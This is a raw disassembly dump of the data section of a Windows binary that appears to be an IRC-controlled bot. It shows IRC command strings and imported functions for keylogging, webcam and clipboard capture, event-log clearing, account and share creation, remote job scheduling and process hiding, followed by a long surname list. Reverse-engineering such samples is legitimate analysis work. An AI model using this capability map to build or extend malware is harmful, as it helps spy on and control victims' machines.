a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177D0:loc_417838o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177D0+50o
		align 10h
asc_42D120:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DAEo
		unicode	0, <!>,0
asc_42D124:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Do ...
		unicode	0, < >,0
asc_42D128	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402602o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A73+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B13+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B13+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B13:loc_40A77Do
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B13+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B13+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B13+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B13+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B13+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B13+BD9o
		align 10h
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B13:loc_40A6DFo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B13+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B13+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B13:loc_40A695o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B13+B3Do
		align 10h
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B13+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B13+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B13+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B13:loc_40A621o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B13+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B13+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B13:loc_40A5D7o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B13+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B13+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B13:loc_40A58Do
		align 10h
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B13+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B13+9ECo
					; sub_4185A5+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B13+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B13+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B13+9C5o
		align 10h
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B13+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B13+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B13+99Eo
		align 10h
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B13+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B13+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B13+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B13+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B13:loc_40A471o
					; sub_4185A5+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B13+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B13+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B13+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B13:loc_40A412o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B13+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B13+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B13+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B13+846o
		align 10h
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B13+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B13+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B13+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B13+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B13+805o
		align 10h
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B13+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B13+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B13:loc_40A2F2o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B13+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B13+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B13+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B13+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B13+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B13+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B13+658o
		align 10h
aAccept		db 'accept',0           ; DATA XREF: sub_409B13+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409B13+63Eo
		align 10h
aSelect		db 'select',0           ; DATA XREF: sub_409B13+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409B13+629o
		align 10h
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B13+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409B13+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409B13+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B13+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B13+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B13+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409B13+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B13+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B13+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409B13+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B13+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B13+57Bo
		align 10h
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B13+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B13+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B13+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B13+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B13+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B13+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B13+525o
		align 10h
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B13+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B13+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B13+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B13+487o
		align 10h
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B13+47Ao
		align 10h
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B13+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B13+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B13+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B13+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B13+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B13:loc_409F40o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B13:loc_409F18o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B13+3ADo
		align 10h
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B13+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B13+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B13+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B13+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B13+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B13+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B13:loc_409E6Ao
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B13+327o
		align 10h
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B13+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B13:loc_409E25o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B13+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B13+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B13+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B13+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B13+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B13+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B13+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B13+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B13:loc_409D72o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B13+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B13+20Do
		align 10h
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B13+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B13:loc_409D0Bo
		align 10h
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B13+1A0o
		align 10h
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B13+193o
		align 10h
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B13+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B13+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B13+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B13+15Fo
		align 10h
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B13+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B13+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B13:loc_409C48o
					; sub_424D78+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B13:loc_409C1Bo
		align 10h
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B13+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B13+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B13+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B13+79o
		align 10h
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B13+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B13+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B13+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B13+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B13+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B13+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B13+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B13+Ao
		align 4
unk_42DA28	db  2Dh	; -		; DATA XREF: sub_40A7CF+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+230o
		align 10h
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+194o
		align 10h
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+90o
		align 10h
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+28o
		align 4
a_:					; DATA XREF: sub_40F96B+252o
		unicode	0, <.>,0
unk_42DBB8	db  2Dh	; -		; DATA XREF: sub_40AB32:loc_40ABF1o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42DBE8	db  2Dh	; -		; DATA XREF: sub_40AB32:loc_40ABBFo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42DC18	db  2Dh	; -		; DATA XREF: sub_40AB32:loc_40AB8Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42DC3C	db  2Dh	; -		; DATA XREF: sub_40AB32+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC10+46o
					; sub_40BFEC+38o
		align 8
aReal		db 'real',0
		align 10h
		dd 0
dword_42DC84	dd 0			; DATA XREF: sub_40B08E+7o
off_42DC88	dd offset sub_40ACB6	; DATA XREF: sub_40B08E+49r
aConst		db 'const',0
		align 8
		dd 1, 40AD23h, 7474656Ch, 7265h, 0
		dd 2, 40AD81h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCEh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Ch, 736Fh, 2	dup(0)
		dd 5, 40AEE1h
off_42DCF0	dd offset aAbdulrazak	; DATA XREF: sub_40ACB6+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42DCFC	dd offset aAddison	; DATA XREF: sub_40B08E+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
